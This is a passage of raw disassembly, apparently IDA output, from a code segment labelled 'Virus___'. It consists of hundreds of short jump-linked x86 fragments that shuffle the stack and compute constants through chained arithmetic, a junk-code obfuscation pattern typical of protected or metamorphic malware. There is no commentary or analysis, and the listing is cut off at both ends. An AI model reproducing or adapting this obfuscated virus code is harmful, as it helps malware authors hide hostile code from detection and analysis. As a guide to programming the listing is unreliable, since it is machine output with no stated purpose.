		mov	ch, 0E0h
		xor	ch, bl
		pop	ebx
		mov	ah, ch
		pop	ecx
		jmp	loc_550909
; ---------------------------------------------------------------------------


loc_56141C:				; CODE XREF: Virus___:00558128j
		mov	edi, 243472E9h
		jmp	loc_55684F
; ---------------------------------------------------------------------------


loc_561426:				; CODE XREF: Virus___:00551EC2j
		mov	[esp], esp
		push	esi
		mov	esi, 4
		jmp	loc_55CC56
; ---------------------------------------------------------------------------


loc_561434:				; CODE XREF: Virus___:0056035Fj
		not	eax
		add	eax, 14010945h
		add	ebp, eax
		pop	eax
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		pop	eax
		jmp	loc_5649F4
; ---------------------------------------------------------------------------


loc_561451:				; CODE XREF: Virus___:00558266j
		mov	dx, [esp]
		push	edi
		jmp	loc_55CB39
; ---------------------------------------------------------------------------


loc_56145B:				; CODE XREF: Virus___:0055EFBDj
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ecx
		jmp	loc_5576DF
; ---------------------------------------------------------------------------


loc_56146C:				; CODE XREF: Virus___:0055A63Ej
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_561471:				; CODE XREF: Virus___:00552FBEj
		mov	ebp, [esp]
		jmp	loc_557827
; ---------------------------------------------------------------------------


loc_561479:				; CODE XREF: Virus___:00551797j
		sub	cl, ah
		jmp	loc_552D5E
; ---------------------------------------------------------------------------


loc_561480:				; CODE XREF: Virus___:00562087j
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_5556DD
; ---------------------------------------------------------------------------


loc_56148B:				; CODE XREF: Virus___:005501E5j
		xor	al, bl
		push	7F70h
		jmp	loc_55EADF
; ---------------------------------------------------------------------------


loc_561497:				; CODE XREF: Virus___:00557F24j
		add	eax, 381A553Bh
		or	eax, 20486C5Ah
		add	eax, 0E0DDC2F0h
		jmp	loc_55B7E9
; ---------------------------------------------------------------------------


loc_5614AB:				; CODE XREF: Virus___:005542CCj
		and	eax, ebp
		pop	ebp
		push	ebp
		mov	ebp, 0ED7A0E1Eh
		sub	eax, ebp
		pop	ebp
		mov	edx, eax
		pop	eax
		push	edi
		push	ecx
		mov	ecx, 5FDE25F9h
		add	ecx, 3BB764E4h
		inc	ecx
		xor	ecx, 87F5F67Dh
		mov	edi, ecx
		pop	ecx
		shr	edi, 1
		push	885h
		mov	[esp], edx
		mov	edx, 2BC90212h
		jmp	loc_54FBCD
; ---------------------------------------------------------------------------


loc_5614E5:				; CODE XREF: Virus___:0055CACDj
		mov	esp, [esp]
		mov	ax, [esp]
		push	edx
		jmp	loc_559D87
; ---------------------------------------------------------------------------


loc_5614F2:				; CODE XREF: Virus___:005593B9j
		pop	ebp
		jmp	loc_55E947
; ---------------------------------------------------------------------------


loc_5614F8:				; CODE XREF: Virus___:00559CC2j
		mov	ebp, [esp]
		jmp	loc_5508E9
; ---------------------------------------------------------------------------


loc_561500:				; CODE XREF: Virus___:00562590j
		push	ebp
		mov	ebp, 28A91252h
		neg	ebp
		add	ebp, 78F5475Dh
		or	ebp, 54744BD1h
		not	ebp
		add	ebp, 606C9854h
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5619B9
; ---------------------------------------------------------------------------


loc_561529:				; CODE XREF: Virus___:005538CDj
		shl	dword ptr [esp], cl
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_561531:				; CODE XREF: Virus___:00562146j
		pop	esi
		pop	edi
		push	ecx
		mov	ecx, 4
		push	esi
		mov	esi, 1D883AD5h
		add	edi, esi
		pop	esi
		push	ebx
		mov	ebx, 6C2F68E7h
		sub	ebx, 9201807h
		sub	ebx, 4A9E3BD3h
		sub	edi, ebx
		pop	ebx
		add	edi, ecx
		add	edi, 1871150Dh
		sub	edi, 1D883AD5h
		pop	ecx
		push	esi
		jmp	loc_550B34
; ---------------------------------------------------------------------------


loc_56156C:				; CODE XREF: Virus___:0055410Ej
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55B584
; ---------------------------------------------------------------------------


loc_56157F:				; CODE XREF: Virus___:0055C4F4j
		and	edx, 6D72797Fh
		jmp	loc_563793
; ---------------------------------------------------------------------------


loc_56158A:				; CODE XREF: Virus___:00563E5Fj
		push	ebp
		mov	ebp, 63C62DDCh
		xor	ebp, eax
		jmp	loc_56048F
; ---------------------------------------------------------------------------


loc_561597:				; CODE XREF: Virus___:0055EFE1j
		mov	edx, 35224EF7h
		add	ebp, edx
		jmp	loc_55935B
; ---------------------------------------------------------------------------


loc_5615A3:				; CODE XREF: Virus___:00552422j
		neg	edx
		xor	edx, 0D5F58193h
		jmp	loc_561006
; ---------------------------------------------------------------------------


loc_5615B0:				; CODE XREF: Virus___:00550392j
		add	esi, 518A6B7Ah
		pop	ecx
		push	542Bh
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		push	dword ptr [esp]
		jmp	loc_554DEE
; ---------------------------------------------------------------------------


loc_5615CE:				; CODE XREF: Virus___:0055EAB2j
		push	ebp
		mov	ebp, 24AB096Ch
		shl	ebp, 5
		dec	ebp
		jmp	loc_55880E
; ---------------------------------------------------------------------------


loc_5615DD:				; CODE XREF: Virus___:00559D6Bj
		add	esi, ebx
		pop	ebx
		jmp	loc_5593D1
; ---------------------------------------------------------------------------


loc_5615E5:				; CODE XREF: Virus___:0054FF64j
		add	edx, ebx
		jmp	loc_55EB68
; ---------------------------------------------------------------------------


loc_5615EC:				; CODE XREF: Virus___:00561664j
		mov	ecx, 3B4F49C3h
		neg	ecx
		and	ecx, 8370A80h
		xor	ecx, 545949DAh
		xor	ecx, edi
		xor	edi, ecx
		xor	ecx, edi
		not	edi
		xchg	edi, ecx
		add	ecx, 0D43D4E50h
		xor	eax, ecx
		pop	ecx
		jmp	loc_55F2D1
; ---------------------------------------------------------------------------


loc_561617:				; CODE XREF: Virus___:00558B41j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55889E
; ---------------------------------------------------------------------------


loc_561620:				; CODE XREF: Virus___:0055E903j
		mov	esi, 6A9A57D0h
		shl	esi, 2
		not	esi
		sub	esi, 0BF406C9h
		sub	esi, 0CC0D3073h
		add	ebx, esi
		pop	esi
		add	ebx, eax
		jmp	loc_560B5B
; ---------------------------------------------------------------------------


loc_561640:				; CODE XREF: Virus___:00556C73j
		mov	esi, 41A426C8h
		jmp	loc_5620F7
; ---------------------------------------------------------------------------


loc_56164A:				; CODE XREF: Virus___:00560857j
		add	eax, 0A5795F69h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5535BC
; ---------------------------------------------------------------------------


loc_56165C:				; CODE XREF: Virus___:00556A01j
		push	4950h
		mov	[esp], ecx
		jmp	loc_5615EC
; ---------------------------------------------------------------------------


loc_561669:				; CODE XREF: Virus___:005607D2j
		mov	[esp], edx
		jmp	loc_55438E
; ---------------------------------------------------------------------------


loc_561671:				; CODE XREF: Virus___:0055182Aj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_563639
; ---------------------------------------------------------------------------


loc_56167D:				; CODE XREF: Virus___:00560FBAj
		push	eax
		jmp	loc_55F6F2
; ---------------------------------------------------------------------------


loc_561683:				; CODE XREF: Virus___:0054FA94j
		pop	ebx
		mov	bh, dl
		push	dword ptr [esp]
		pop	edx
		push	7585h
		mov	[esp], esi
		push	esp
		jmp	loc_5599FB
; ---------------------------------------------------------------------------


loc_561698:				; CODE XREF: Virus___:00553665j
		add	[esp+4], eax
		push	edx
		mov	edx, 2A226D79h
		jmp	loc_55709F
; ---------------------------------------------------------------------------


loc_5616A7:				; CODE XREF: Virus___:0055BE0Fj
		sub	bh, 0D3h
		and	al, bh
		jmp	loc_562DBB
; ---------------------------------------------------------------------------


loc_5616B1:				; CODE XREF: Virus___:00561DB0j
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		jmp	loc_55CE24
; ---------------------------------------------------------------------------


loc_5616BF:				; CODE XREF: Virus___:0055D2ACj
		add	edx, 282F9592h
		mov	esi, edx
		pop	edx
		push	ebx
		mov	ebx, 4FE96D17h
		push	edx
		mov	edx, 37737495h
		sub	edx, 0F68D1B57h
		xor	ebx, edx
		pop	edx
		jmp	loc_55D597
; ---------------------------------------------------------------------------


loc_5616E2:				; CODE XREF: Virus___:00559FF1j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 892D92A8h
		xor	eax, esi
		pop	esi
		jmp	loc_55B1C5
; ---------------------------------------------------------------------------


loc_5616F8:				; CODE XREF: Virus___:00554563j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55C751
; ---------------------------------------------------------------------------


loc_561706:				; CODE XREF: Virus___:00559432j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_555C16
; ---------------------------------------------------------------------------


loc_561723:				; CODE XREF: Virus___:0055FE33j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_56345F
; ---------------------------------------------------------------------------


loc_561739:				; CODE XREF: Virus___:0055E0A5j
		or	ecx, 25B757FEh
		xor	ecx, 43082207h
		push	ebx
		mov	ebx, ecx
		jmp	loc_55F10A
; ---------------------------------------------------------------------------


loc_56174D:				; CODE XREF: Virus___:00558CCFj
		sub	esi, ecx
		pop	ecx
		add	ecx, esi
		pop	esi
		sub	ecx, 1
		push	ebp
		mov	ebp, 493D4D4Fh
		jmp	loc_55DA9A
; ---------------------------------------------------------------------------


loc_561764:				; CODE XREF: Virus___:00552862j
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_559F58
; ---------------------------------------------------------------------------


loc_561770:				; CODE XREF: Virus___:00559695j
		xor	ebp, esi
		pop	esi
		jmp	loc_55CCC6
; ---------------------------------------------------------------------------


loc_561778:				; CODE XREF: Virus___:0055C942j
		add	esi, eax
		pop	eax
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_56382B
; ---------------------------------------------------------------------------


loc_561788:				; CODE XREF: Virus___:005554D0j
		push	ecx
		mov	ecx, 2CC03901h
		add	ecx, 0FFFFFFFFh
		jmp	loc_563190
; ---------------------------------------------------------------------------


loc_561799:				; CODE XREF: Virus___:00559DA9j
		add	ecx, 49DC09F7h
		add	eax, [ecx]
		jmp	loc_551035
; ---------------------------------------------------------------------------


loc_5617A6:				; CODE XREF: Virus___:00563627j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55B43F
; ---------------------------------------------------------------------------


loc_5617AF:				; CODE XREF: Virus___:00550F29j
		add	edx, edi
		pop	edi
		shr	edx, 4
		jmp	loc_55C4C3
; ---------------------------------------------------------------------------


loc_5617BA:				; CODE XREF: Virus___:00563806j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		idiv	cl
		movzx	cx, ah
		push	edi
		push	21E8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_5579B0
; ---------------------------------------------------------------------------


loc_5617E2:				; CODE XREF: Virus___:00552A60j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55471E
; ---------------------------------------------------------------------------


loc_5617F6:				; CODE XREF: Virus___:00559F76j
		pop	esp
		mov	[esp], ebx
		jmp	loc_5554A1
; ---------------------------------------------------------------------------


loc_5617FF:				; CODE XREF: Virus___:00559866j
		push	101Eh
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4DDD6AA5h
		or	ebp, 2B870FE7h
		jmp	loc_55D17D
; ---------------------------------------------------------------------------


loc_56181A:				; CODE XREF: Virus___:0054FFC2j
		push	edi
		jmp	loc_56431B
; ---------------------------------------------------------------------------


loc_561820:				; CODE XREF: Virus___:00553572j
		or	ebx, 7B1D2A05h
		sub	ebx, 0FFFFFFFFh
		jmp	loc_557168
; ---------------------------------------------------------------------------


loc_56182E:				; CODE XREF: Virus___:0055F72Bj
		not	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55B018
; ---------------------------------------------------------------------------


loc_56183F:				; CODE XREF: Virus___:00552D1Dj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5647DC
; ---------------------------------------------------------------------------


loc_56184F:				; CODE XREF: Virus___:0055D6D0j
		mov	[esp], eax
		push	ebx
		mov	ebx, 74AA0529h
		jmp	loc_55BBE4
; ---------------------------------------------------------------------------


loc_56185D:				; CODE XREF: Virus___:00562654j
		mov	esi, 4
		mov	edi, esi
		pop	esi
		add	ebp, edi
		pop	edi
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		pop	esp
		push	2D7h
		mov	[esp], ebx
		jmp	loc_551427
; ---------------------------------------------------------------------------


loc_561888:				; CODE XREF: Virus___:00561DD4j
		mov	ecx, [esp]
		jmp	loc_552935
; ---------------------------------------------------------------------------


loc_561890:				; CODE XREF: Virus___:0055ECC2j
		add	edi, edx
		pop	edx
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_5558C2
; ---------------------------------------------------------------------------


loc_5618A1:				; CODE XREF: Virus___:0055607Aj
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		push	edi
		push	4
		pop	edi
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_55E78A
; ---------------------------------------------------------------------------


loc_5618CA:				; CODE XREF: Virus___:0055985Dj
		xor	esi, 0F256ACh
		xor	ecx, esi
		pop	esi
		mov	[edx+30h], ecx
		mov	ecx, [esp]
		push	1BBFh
		mov	[esp], edx
		jmp	loc_5606AA
; ---------------------------------------------------------------------------


loc_5618E6:				; CODE XREF: Virus___:0054FF26j
		shr	ecx, 1
		jmp	loc_5562F5
; ---------------------------------------------------------------------------


loc_5618ED:				; CODE XREF: Virus___:00554A84j
		sub	esp, 4
		jmp	loc_55FA60
; ---------------------------------------------------------------------------


loc_5618F8:				; CODE XREF: Virus___:00559642j
		pop	esi
		add	esi, 7276D17h
		pop	edx
		push	ebx
		mov	ebx, 7DA461A2h
		and	esi, ebx
		push	dword ptr [esp]
		jmp	loc_55131E
; ---------------------------------------------------------------------------


loc_561910:				; CODE XREF: Virus___:00551091j
		push	ecx
		mov	ecx, 14F06BB6h
		add	ebp, ecx
		jmp	loc_561E8F
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_551A63
; ---------------------------------------------------------------------------


loc_561923:				; CODE XREF: Virus___:0054FF92j
		mov	esi, 5A17018Dh
		neg	esi
		shr	esi, 3
		jmp	loc_55DEBE
; ---------------------------------------------------------------------------


loc_561932:				; CODE XREF: Virus___:0055AD9Cj
		mov	[esp], eax
		push	esi
		pop	eax
		push	dword ptr [esp]
		jmp	loc_5612BE
; ---------------------------------------------------------------------------


loc_56193F:				; CODE XREF: Virus___:0055D0E3j
		mov	ebx, 9A723E4h
		inc	ebx
		shr	ebx, 4
		add	ebx, 58BD3E1Ch
		jmp	loc_55770D
; ---------------------------------------------------------------------------


loc_561953:				; CODE XREF: Virus___:00553D1Aj
		shl	eax, 3
		shl	eax, 3
		push	ebp
		mov	ebp, 1F07A9F8h
		xor	eax, ebp
		pop	ebp
		jmp	loc_55A2F0
; ---------------------------------------------------------------------------


loc_561967:				; CODE XREF: Virus___:00555730j
		dec	esi
		xor	esi, 645564B3h
		jmp	loc_561394
; ---------------------------------------------------------------------------


loc_561973:				; CODE XREF: Virus___:005611F4j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_558E84
; ---------------------------------------------------------------------------


loc_56197E:				; CODE XREF: Virus___:0055C813j
		push	dword ptr [esp+4]
		jmp	loc_56364F
; ---------------------------------------------------------------------------


loc_561987:				; CODE XREF: Virus___:00553BC8j
		add	edx, 5DC20B6Dh
		sub	edx, 39B304F2h
		sub	edx, 6A1D73F1h
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_56199E:				; CODE XREF: Virus___:005511C7j
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_55E110
; ---------------------------------------------------------------------------


loc_5619A9:				; CODE XREF: Virus___:00562322j
		mov	edi, 0F7D61C0h
		add	eax, edi
		mov	edi, [esp]
		push	esi
		jmp	loc_55E705
; ---------------------------------------------------------------------------


loc_5619B9:				; CODE XREF: Virus___:00561524j
		pop	ebp
		jmp	loc_555D89
; ---------------------------------------------------------------------------


loc_5619BF:				; CODE XREF: Virus___:005591CBj
		mov	esi, 4
		jmp	loc_556971
; ---------------------------------------------------------------------------


loc_5619C9:				; CODE XREF: Virus___:0055163Fj
		pop	ecx
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55F371
; ---------------------------------------------------------------------------


loc_5619D3:				; CODE XREF: Virus___:005504ABj
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		jmp	loc_54FB4A
; ---------------------------------------------------------------------------


loc_5619E2:				; CODE XREF: Virus___:0055DB1Fj
		add	esp, 4
		sub	ecx, 4A6C0EB3h
		sub	ecx, edi
		push	ebx
		mov	ebx, 2D30CB2h
		inc	ebx
		sub	ebx, 0B866FE00h
		add	ecx, 19460238h
		add	ecx, ebx
		sub	ecx, 19460238h
		mov	ebx, [esp]
		add	esp, 4
		sub	ecx, 12A30F3Fh
		pop	edi
		xchg	ecx, [esp]
		jmp	loc_5569B3
; ---------------------------------------------------------------------------


loc_561A23:				; CODE XREF: Virus___:0055C0D0j
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55140F
; ---------------------------------------------------------------------------


loc_561A2E:				; CODE XREF: Virus___:00562DC5j
		push	ebx
		mov	bl, ch
		mov	ch, al
		mov	al, bl
		pop	ebx
		shr	al, 2
		add	al, 8Ch
		jmp	loc_553C25
; ---------------------------------------------------------------------------


loc_561A40:				; CODE XREF: Virus___:00551FD0j
		mov	[esp], ebp
		jmp	loc_5603F2
; ---------------------------------------------------------------------------


loc_561A48:				; CODE XREF: Virus___:0055632Dj
		pop	edx
		add	esi, 124B5FE6h
		add	esi, 1A06D75h
		add	esi, edx
		sub	esi, 1A06D75h
		push	2154h
		mov	[esp], ecx
		jmp	loc_560AA9
; ---------------------------------------------------------------------------


loc_561A6A:				; CODE XREF: Virus___:0055DFCDj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	ebx, 550C0FC9h
		add	ebx, edi
		add	ebx, 550C0FC9h
		push	esi
		jmp	loc_54FE72
; ---------------------------------------------------------------------------


loc_561A8E:				; CODE XREF: Virus___:005594F2j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_554F85
; ---------------------------------------------------------------------------


loc_561A99:				; CODE XREF: Virus___:0055EADAj
		push	407Eh
		push	esp
		pop	dword ptr [esp]
		push	ebx
		jmp	loc_55D19D
; ---------------------------------------------------------------------------


loc_561AA8:				; CODE XREF: Virus___:0055B5CCj
		mov	ebx, 5C86615h
		jmp	loc_559A17
; ---------------------------------------------------------------------------


loc_561AB2:				; CODE XREF: Virus___:00555A30j
		pop	edx
		jmp	loc_55FD2F
; ---------------------------------------------------------------------------


loc_561AB8:				; CODE XREF: Virus___:005519A4j
		xchg	ecx, [esp]
		jmp	loc_553E96
; ---------------------------------------------------------------------------


loc_561AC0:				; CODE XREF: Virus___:0055784Dj
		mov	esi, esp
		add	esi, 4
		jmp	loc_55C5A1
; ---------------------------------------------------------------------------


loc_561ACD:				; CODE XREF: Virus___:005517FEj
		mov	ecx, 90037DCh
		push	esi
		jmp	loc_5534A9
; ---------------------------------------------------------------------------


loc_561AD8:				; CODE XREF: Virus___:005583D0j
		sub	edi, ecx
		sub	edi, 73A6272Fh
		pop	ecx
		add	edi, edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 30F22205h
		add	eax, 60175C8Ch
		add	eax, 86BCE9E4h
		add	edi, eax
		pop	eax
		mov	edx, [esp]
		jmp	loc_555872
; ---------------------------------------------------------------------------


loc_561B03:				; CODE XREF: Virus___:00550740j
		mov	eax, esp
		push	edi
		mov	edi, 542604C8h
		not	edi
		jmp	loc_55B087
; ---------------------------------------------------------------------------


loc_561B12:				; CODE XREF: Virus___:00563D15j
		push	0D9Eh
		mov	[esp], ebp
		push	6E30h
		push	esp
		pop	dword ptr [esp]
		push	esi
		push	7B8115CFh
		pop	esi
		shl	esi, 1
		push	eax
		mov	eax, 2E1B4510h
		xor	esi, eax
		pop	eax
		push	edi
		mov	edi, 1
		sub	esi, edi
		jmp	loc_55568A
; ---------------------------------------------------------------------------


loc_561B42:				; CODE XREF: Virus___:0055CB8Aj
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_55AC51
; ---------------------------------------------------------------------------


loc_561B52:				; CODE XREF: Virus___:00563E9Ej
		push	54Ah
		mov	[esp], edi
		jmp	loc_55663E
; ---------------------------------------------------------------------------


loc_561B5F:				; CODE XREF: Virus___:0055E4E3j
		sub	ebp, 0FAFDDDAEh
		sub	ecx, ebp
		jmp	loc_550560
; ---------------------------------------------------------------------------


loc_561B6C:				; CODE XREF: Virus___:00563941j
		mov	[esp], ecx
		jmp	loc_555452
; ---------------------------------------------------------------------------


loc_561B74:				; CODE XREF: Virus___:00558649j
		push	dword ptr [esp+4]
		jmp	loc_562175
; ---------------------------------------------------------------------------


loc_561B7D:				; CODE XREF: Virus___:00556B40j
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		sub	ebx, esi
		jmp	loc_550FEF
; ---------------------------------------------------------------------------


loc_561B99:				; CODE XREF: Virus___:0055D267j
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_55F845
; ---------------------------------------------------------------------------


loc_561BA4:				; CODE XREF: Virus___:00564143j
		pop	ecx
		jmp	loc_55645B
; ---------------------------------------------------------------------------


loc_561BAA:				; CODE XREF: Virus___:00552FF6j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_552163
; ---------------------------------------------------------------------------


loc_561BB8:				; CODE XREF: Virus___:0055CDBCj
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_556350
; ---------------------------------------------------------------------------


loc_561BC9:				; CODE XREF: Virus___:0054FCF7j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		push	5CCEh
		mov	[esp], esi
		push	1F4Dh
		mov	[esp], eax
		mov	eax, 1BD84556h
		jmp	loc_55453A
; ---------------------------------------------------------------------------


loc_561BF6:				; CODE XREF: Virus___:0055BBBEj
		mov	edi, [esp]
		add	esp, 4
		sub	ebp, 0FFFFFFFFh
		jmp	loc_55D414
; ---------------------------------------------------------------------------


loc_561C07:				; CODE XREF: Virus___:00561C72j
		pop	edi
		push	1DD9h
		jmp	loc_55E466
; ---------------------------------------------------------------------------


loc_561C12:				; CODE XREF: Virus___:00562D9Cj
		pop	edx
		xchg	eax, esi
		jmp	loc_560B7B
; ---------------------------------------------------------------------------


loc_561C19:				; CODE XREF: Virus___:0055736Fj
		push	3273h
		mov	[esp], esi
		mov	esi, 405035Ch
		and	esi, 369526D9h
		sub	esi, 0ECEBFBEAh
		mov	edi, 77317595h
		sub	edi, esi
		pop	esi
		push	eax
		mov	eax, 60186F25h
		jmp	loc_555BCA
; ---------------------------------------------------------------------------


loc_561C45:				; CODE XREF: Virus___:00556602j
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_556133
; ---------------------------------------------------------------------------


loc_561C53:				; CODE XREF: Virus___:00550626j
		sub	edx, edi
		pop	edi
		add	edx, ebp
		push	edi
		mov	edi, 5FB3112Eh
		xor	edi, 1FF51B11h
		xor	edi, 33F60DBDh
		sub	edi, 513FCFEBh
		add	edx, edi
		jmp	loc_561C07
; ---------------------------------------------------------------------------


loc_561C77:				; CODE XREF: Virus___:00551A4Cj
		add	ebp, ecx
		pop	ecx
		jmp	loc_560DEE
; ---------------------------------------------------------------------------


loc_561C7F:				; CODE XREF: Virus___:00553388j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_558DF5
; ---------------------------------------------------------------------------


loc_561C8B:				; CODE XREF: Virus___:005626B4j
		pop	edi
		xor	edi, 249635CFh
		or	edi, 70543EA2h
		jmp	loc_554343
; ---------------------------------------------------------------------------


loc_561C9D:				; CODE XREF: Virus___:00555E19j
		mov	ecx, [esp]
		add	esp, 4
		mov	edi, ebp
		pop	ebp
		jmp	loc_553158
; ---------------------------------------------------------------------------


loc_561CAE:				; CODE XREF: Virus___:005605C2j
		push	63CBh
		mov	[esp], ebx
		mov	ebx, 1046551h
		add	ebx, 5ADD0372h
		sub	ebx, 40586B4Bh
		jmp	loc_5603DE
; ---------------------------------------------------------------------------


loc_561CCC:				; CODE XREF: Virus___:005564B3j
		add	ebp, 4
		jmp	loc_550DF9
; ---------------------------------------------------------------------------


loc_561CD7:				; CODE XREF: Virus___:00553E35j
		mov	[esp], eax
		jmp	loc_553771
; ---------------------------------------------------------------------------


loc_561CDF:				; CODE XREF: Virus___:005515BBj
		mov	ch, dh
		jmp	loc_55F400
; ---------------------------------------------------------------------------


loc_561CE6:				; CODE XREF: Virus___:0054F9CFj
		mov	edi, 380B5D89h
		dec	edi
		jmp	loc_55B189
; ---------------------------------------------------------------------------


loc_561CF1:				; CODE XREF: Virus___:005551F1j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_561CFD:				; CODE XREF: Virus___:00555A67j
		add	eax, edx
		pop	edx
		sub	eax, 4
		jmp	loc_563930
; ---------------------------------------------------------------------------


loc_561D08:				; CODE XREF: Virus___:00560976j
		mov	edx, 1360752Dh
		dec	edx
		dec	edx
		shl	edx, 5
		sub	edx, 3A023425h
		xor	edx, 51604363h
		or	edx, 6DD956C3h
		jmp	loc_55DCC4
; ---------------------------------------------------------------------------


loc_561D29:				; CODE XREF: Virus___:0055F593j
		push	edx
		pop	ebp
		jmp	loc_5563DA
; ---------------------------------------------------------------------------


loc_561D30:				; CODE XREF: Virus___:005606F8j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_564BB0
; ---------------------------------------------------------------------------


loc_561D3F:				; CODE XREF: Virus___:0054FBBBj
		pop	edi
		pop	esi
		add	esi, 63EC450Dh
		jmp	loc_55816A
; ---------------------------------------------------------------------------


loc_561D4C:				; CODE XREF: Virus___:00558C37j
		add	ebx, eax
		add	ebx, 48FD5274h
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_55B75B
; ---------------------------------------------------------------------------


loc_561D5D:				; CODE XREF: Virus___:00557E53j
		add	esp, 4
		push	edi
		mov	edi, 1E245DF0h
		shr	edi, 2
		jmp	loc_54FB72
; ---------------------------------------------------------------------------


loc_561D6E:				; CODE XREF: Virus___:0055F8DEj
		add	esi, 4
		jmp	loc_5625D3
; ---------------------------------------------------------------------------


loc_561D79:				; CODE XREF: Virus___:0055B487j
		add	dword ptr [esp], 4
		jmp	loc_54F814
; ---------------------------------------------------------------------------


loc_561D85:				; CODE XREF: Virus___:00558C97j
		add	esp, 4
		push	edi
		mov	edx, [esp]
		add	esp, 4
		pop	edi
		jmp	loc_55D80D
; ---------------------------------------------------------------------------


loc_561D95:				; CODE XREF: Virus___:0055D39Dj
		shr	ebp, 2
		jmp	loc_5633AE
; ---------------------------------------------------------------------------


loc_561D9D:				; CODE XREF: Virus___:0056078Bj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_55184C
; ---------------------------------------------------------------------------


loc_561DAE:				; CODE XREF: Virus___:005549BEj
		mov	edx, esp
		jmp	loc_5616B1
; ---------------------------------------------------------------------------


loc_561DB5:				; CODE XREF: Virus___:00557CF6j
		mov	esi, [esp]
		jmp	loc_54F9D4
; ---------------------------------------------------------------------------


loc_561DBD:				; CODE XREF: Virus___:0055ADA8j
		sub	al, ch
		mov	cx, [esp]
		add	esp, 2
		sub	al, 52h
		jmp	loc_552A65
; ---------------------------------------------------------------------------


loc_561DCD:				; CODE XREF: Virus___:00558DE1j
		xor	dword ptr [esp], 3DF36E7Eh
		jmp	loc_561888
; ---------------------------------------------------------------------------


loc_561DD9:				; CODE XREF: Virus___:005557F1j
		pop	dword ptr [esp]
		pop	esp
		mov	eax, [esp]
		push	6898h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_554354
; ---------------------------------------------------------------------------


loc_561DF5:				; CODE XREF: Virus___:00558FEAj
		inc	edi
		xor	edi, 5A4768EFh
		jmp	loc_55B988
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_561E0F:				; CODE XREF: Virus___:0055F5DAj
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		push	4
		pop	edi
		jmp	loc_5647E4
; ---------------------------------------------------------------------------
		push	0B75h
		jmp	loc_55020D
; ---------------------------------------------------------------------------


loc_561E2A:				; CODE XREF: Virus___:00554F30j
		mov	ebx, 51381489h
		shl	ebx, 1
		jmp	loc_553E3A
; ---------------------------------------------------------------------------


loc_561E36:				; CODE XREF: Virus___:0055653Cj
